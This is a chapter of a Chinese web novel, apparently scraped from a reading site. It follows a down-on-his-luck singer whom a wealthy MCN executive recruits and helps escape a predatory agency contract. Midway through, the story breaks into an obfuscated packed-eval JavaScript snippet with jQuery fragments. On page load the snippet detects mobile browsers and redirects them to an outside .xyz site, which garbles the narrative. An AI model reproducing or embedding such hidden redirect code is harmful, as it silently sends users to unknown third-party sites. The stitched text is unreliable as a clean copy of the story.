周一,福姐在粉丝群里吐槽大城市三甲医院的床位费,文一越看完,心酸不已,又给她转了两千。
这是他来岚市的第八个年头了,还是没能习惯这里春天的气候。
文一越时不时想家,姥姥姥爷也上岁数了,他妈一个人,家里总得有个年轻的劳力照顾。
可他还是留在这座城市,等待着属于他的机会。
李晶晶又在中午这个不合时宜的时段打来电话。
“文一越,你是不是背着我偷偷联系别的经纪公司了?”
文一越昨天出了车祸,心情不好,直接回嘴:“你是我爸还是我妈?我有必要事事向你报备?”
李晶晶听他跟自己开杠,很难不猜想他是找好下家了。
但很奇怪的一点是,她对文一越的背景了如指掌,文一越祖宗八代都是溪山人,在岚市没有人脉,平时除了外出打工,基本都待在家里搞音乐,他怎么可能突然找到下家?
难不成狗屎运真的砸到他头上了?
可是那怎么可能?文一越是小有才华,但才华这玩意儿,仁者见仁智者见智,他做的也不是符合大众审美的音乐,怎么会突然转运,从天而降一个伯乐?
李晶晶警告了文一越几句,挂断电话就奔向版权部,让同事翻出文一越的音乐版权,确认他的公司拥有他作品的永久代理权,悬着的心才落下。
虽然她也看不上文一越这几首歌,但这些东西,是拿捏文一越最好的武器。
文一越的经纪约还有两年就到期了,他没提出主动节约,公司没能在他身上捞到钱,只能指望下一个合约期了。
只要版权在,文一越八成还是会续约的,以他对自己羽毛的爱惜,肯定不会让别人唱他的歌的。
下一个合约期他再想解约,解约费就得翻番了。
这次挖角事件,让李晶晶重新审视了文一越的价值。为了诱导文一越续约,她决定施舍他一些资源。
周二晚上,文一越拄着拐去未来大厦直播,直播到一半,大忙人李晶晶竟然来探班了。
文一越知道准没好事,没想到李晶晶却说:“待会儿有个酒局,可能会有一个ost资源,你直播完和我一起去。”
文一越:“你让我陪酒?”
李晶晶:“都是大老爷们儿,我也在场,你怕啥?唱片的黄金时代已经过去了,ost就是这个年代的王道!这几年的大热曲都是通过ost火起来的。一知道消息,我就想到你了,你也不想混到解约,一首新作品也没有吧。”
文一越问:“酒局都有谁?我提前做好心理准备,省得说错话。”
李晶晶虽然利欲熏心,但在工作上绝不含糊。
她把今夜可能会见到的人,一一提前介绍给文一越。除了音乐圈的大佬,制片方,她还特地介绍了一个人。
“远洋传媒的司总你也得认识一下。远洋传媒是岚市最大的MCN机构...别给我摆着脸,我知道你不喜欢直播,但是巨浪董事长是他亲舅舅,认识了司念飞,万一以后找你做电影音乐呢?”
混圈的都知道,巨浪集团旗下的巨浪影业是电影圈的龙头,电影工业的先驱者,能走出国门的电影,背后都有巨浪影业的推动。
“这几个人都记住了?”
“嗯,要我复述一遍么?”
“这倒不用,985统招本,不至于记不住这几个人。”
不参加一场酒局,是无法见识到李晶晶的厉害之处的。她三言两语,就能哄得全场人高兴。
文一越一个过气选秀明星,愣是被她吹成了沧海遗珠,“你们知道我第一次听小文的音乐,想起了什么吗?”
文一越心想,难道不是想起了金钱么?
“他让我想到了马蒂斯,鲜艳的,热烈的,不受约束的,这大概就是艺术的共同之处,它能唤起深藏心底的原始渴望...”
这场酒局虽然在夜场,倒是没有文一越想象中的乌烟瘴气,顶多大家喝高了,会说一两句行内的糙话。
音乐大佬问了文一越关于当前快餐神曲火爆,而精心制作的音乐为人问津的看法,文一越绕了个弯,从大众审美变迁的角度回答,掩藏了自己的真实态度。
干他们这行的,必须认清一个事实,你可以说大众审美是垃圾,但大众也没必要为你的阳春白雪浪费时间。
操控市场的人没远见,便想把一切责任都推卸给听众和创作者。
当然,文一越不会把这些话说出口。
他和这位音乐大佬一来一回,相谈盛欢。在旁边被李晶晶劝酒的司念飞飘来眼神,发现文一越没在看他,便多瞧了他一会儿。
敏锐的李晶晶问道:“司公子,对小文有看法?”
司念飞对文一越本人倒是没什么看法,他只是想知道,能让胡公子一掷千金的,到底是个什么人物。
老实说,文一越的气质不太像艺人。他身上没有艺人那种对关注的向往,反而有点像科研人员,这种特质在贵圈倒是罕见。
他能预感到,此人绝非池中物。
凌晨三点酒局散场,司念飞问道:“谁住未来大厦附近?可以坐我车。”
李晶晶正要替文一越争取机会,文一越却先一步开口:“我住在未来大厦三公里左右,方便么?”
“当然方便!”
李晶晶还琢磨着,文一越什么时候这么会来事儿了,他已经上了司念飞的车。
司念飞一上车便对司机说:“放首文老师的音乐吧。”
文一越出道八年,仅有七首单曲,其中六首都是参加选秀的原创曲。
他那时候的音乐风格融合了摇滚和电子,司念飞从小在国外念书,听这类音乐长大,八年前的音乐,现在听仍然觉得具有先锋性。
他感叹:“文老师领先时代至少二十年。”
文一越能看出来司念飞是真的欣赏自己的音乐,所以大方接受了他的赞美,甚至主动和他谈起了当时的创作理念。
文一越大学是机械电子工程专业,许多音乐的灵感来源于金工实习。
司念飞诧异:“金工实习?”
文一越说:“嗯,我妈说我专注度差,不管是看书还是做家务,脑海里总会出现杂音,为了改善这种现象,我姥姥是医院护士,说以后可能会发展成精神分裂,我妈担心我精神分裂,就给我找了一个音乐老师,让我系统学习音乐,我开始把这些杂音转化成音乐,成绩也越来越好了。”
“那你还真是不一样,我认识许多音乐人,都是先学了乐器,然后才有了对音乐的嗅觉,不过更多的,是因为喜欢音乐带来的掌声才入了这行的。”
“掌声也是音乐的一种,不是么?”
二人相谈甚欢,在离目的地还有十分钟的时候,司念飞控制了话题:“李晶晶根本欣赏不了你的音乐。”
“不止她,我妈也欣赏不来。”
“要不要来我表哥的公司?李晶晶旗下有十几个艺人,能分给你的资源有限,可如果你签约我表哥的公司,就是公司唯一的男艺人。”
“司公子。”
文一越深吸了口气,司念飞更觉得这人是天生的音乐人,就连呼吸都是有韵律的。
“你有什么顾虑么?”
“我离合约到期还有两年时间,而且,这些年创作的音乐版权大部分都在公司手里,我不知道他们会不会放我走。”
“这个你不用担心,合同的事让律师去解决。”司念飞笑道,“你可能觉得我们做MCN的,都是追逐热点潮流,没有审美根基,但我这人不一样,我最烦千篇一律...”
文一越没有听进去司念飞后来说的话,只是在合适的地方点头、停顿、表示赞成。
司念飞觉得自己挖到宝了,迫不及待地给匠人娱乐的艺人经济部打去电话,让他们着手文一越的经纪约。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16375658|184039||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>隔天中午十二点,司念飞还在呼呼补觉,他的表哥、匠人娱乐的老板黄彻发来一段长语音,司念飞听完,人从床上弹起来——
“哈?永久代理权?这不是欺负人吗?”
黄彻说:“我特地去了解了一下情况,当年选秀一结束,除了冠军,前十名其他人都被盛世娱乐签走了,文一越的情况已经算是比较好的了,还有更惨的,光是解约就赔了一千万。盛世娱乐的老板白手起家,圈里出名的抠,有了点儿小势力,就开始坑和他年轻时候一样的老实人,刚高考完的学生,哪里懂什么模糊条约?家里没有从事这行的,也想不到我们这行有多少坑,人又能有多贪婪。”
司念飞甚至想好了对文一越的包装计划——
说一嘴,司念飞和黄彻的匠人娱乐没有任何利益往来。只是他这人自恃品味独特,爱好寻找千里马,将自己培养成一名伯乐。他公司能做大,一是靠高人指点踩风口,二是背靠胡家的大树,让他不用付出太大的租金费用,三就是靠他自己家大业大,试错成本奇高,因此养了一公司的小众IP,纯靠基本盘大撑起了牌面。
他误把资源好当成了是自己眼光好。
不过对文一越来说,这是天降馅饼,不吃白不吃。
司念飞铁了心要把文一越签到匠人娱乐,黄彻给了他一个成本阈值,过了这个成本,绝不会多花一毛钱。
司念飞只能求助自己身边闲钱对多,出手最阔的人了。
“胡逢宴,文一越那里我谈妥了,现在就差解约费了。黄彻给了一个价,我了解了一下盛世的解约费,感觉这个数目有点儿危险。你能帮帮忙么?”
也不知道胡逢宴在做什么,电话里传来一阵水声。
水声结束,胡逢宴说:“这小子明摆着是不懂合同被公司坑了,被压榨了这么多年,还要付一笔高额违约金,天理何在?该走诉讼走诉讼,把他的委屈解了,以后见了前公司的孙子,也不至于心里憋着火,气着他自己。”
“奇了怪了,我胡爷爷什么时候这么善解人意了?”
“让你表哥找个经验丰富的律师,听听律师意见。”
“诶,你跟他到底什么关系?你家公司的事儿也没见你这么上心过。”
“老同学。我在溪山念书的时候,初高中都跟他同班,上学的时候就是个受气包。”
“初高中都同班,那真不是一般缘分。”
司念飞也是个行动派,晚上找好律师,第二天见面聊了聊解约方案,律师给出的最优方案是先赎身,再通过官司拿回版权。
这场会面,可以说是文一越人生的转折点,是他脱离低谷的标志,然而正在直播间带货小电动产品的他并不知情。
从第一天直播的内心抗拒,到今天,不过经历了三场直播,文一越已经对屏幕上的调侃视若无睹了。
直播结束后,直播助理的助理为她拿来保温杯,文一越自己去找工作人员要水喝。
“文老师辛苦了。”
“你们也辛苦了。”
运营抱着电脑,高兴道:“今天的订单量破千了!”
文一越估算了一下,除去李晶晶的抽成,扣去税款,自己的到手佣金不到一万。
今天是咖啡店发工资的日子,七千块,他把一半打到了福姐的卡上,目前身上的余额已经交不起下个月房租了。
文一越还在念书的时候,不懂为什么有些人会用最大的恶意去揣测底层人。直到他现在即将沦为社会底层,终于明白了原因。
人一旦受到生存威胁,就会对比自己更弱的人进行攻击,试图获取一些聊胜于无的优越感。
从未来大厦出来,他找到昵称为胡天王的微信好友,发送道:「你住在哪?」
过了很久很久,久到大厦格子间的灯火次第熄灭,打车高峰期过去,打车费回落,胡逢宴终于回复了——
“凭什么告诉你?想看我笑话?”